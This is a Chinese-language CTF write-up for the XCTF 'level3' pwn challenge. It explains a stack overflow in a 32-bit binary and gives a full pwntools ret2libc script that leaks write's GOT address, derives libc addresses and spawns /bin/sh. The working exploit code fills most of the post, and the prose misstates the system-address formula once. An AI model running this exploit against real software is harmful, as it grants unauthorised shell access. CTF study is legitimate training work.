1. 程式人生 > 其它 >XCTF-PWN-Level3

XCTF-PWN-Level3

XCTF-PWN-Level3

2021119

9:57

拿到題目之後使用檔案檢視工具發現是32位檔案:

小端,沒有開stack端保護?NX開啟狀態,PIE沒有開啟狀態說明函式的地址在libc中是靜態的

IDA32開:

主函式:

看含有漏洞處的函式:

buf建立是88h,十進位制136。此時read函式中的buf建立是0x100,十進位制是256,存在溢位點。

既然沒有system和/bin/sh,那怎麼辦?所以就有了libc檔案,通過得到的libc基址可以獲得system函式的地址。

具體操作是這樣的:

1、通過write函式got表獲取write函式的地址

2、獲取libc函式庫

中的write函式的地址

3、之後通過上述2者獲得libc函式庫的偏移地址

libc的偏移地址 = got表中write函式地址 - libcwrite函式地址

在這裡要說的是同理知道了libc的偏移地址之後可以獲得system函式以及/bin/sh的地址。

比方說system函式地址 = got表中的system函式地址 + libc的偏移地址

解題過程:

from pwn import *

sock = process("./level3")

sock = remote('ip',port)

#初始化elf以及libc

libc = ELF('libc_32.so.6')

elf = ELF('level3')

#獲取main函式的地址

main_addr = elf.sym['main']

log.success(hex(main_addr))

#使用第一次漏洞獲取write函式的地址

#利用方式為 libc_offset = write_got - write_libc

#寫好got以及plt

write_got_addr = elf.got['write']

write_plt_addr = elf.plt['write']

#第一次洩露過程write(1,write_got_addr,4),獲取writegot中的地址write_addr

payload = b'A' *136 + b'b' *4 + p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)

sock.sendlineafter('Input:\n',payload)

write_addr = u32(sock.recv()[:4])#這裡需要接收4個字元

log.success("write_addr:",hex(write_addr))

#獲取libc的基址:writegot中的真實地址減去libc裡面的write獲取到libc的真實地址

libc_offset = write_addr - libc.sym['write']

log.success("libc_offset:"+ hex(libc_offset))

#獲取system函式真實地址以及/bin/sh的真實地址

sys_addr = libc_offset + libc.sym['system']

log.success("sys_addr:"+hex(sys_addr))

bin_sh_addr = libc_offset + libc.search(b'/bin/sh').__next__()

log.success("bin_sh_addr:"+hex(bin_sh_addr))

#最終pwn#需要注意呼叫函式還有一個deadbeef,那是用來佔位的

payload = b'A' *136 + b'B'*4 + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)

sock.sendline(payload)

sock.interactive()

上述指令碼能成功獲得flag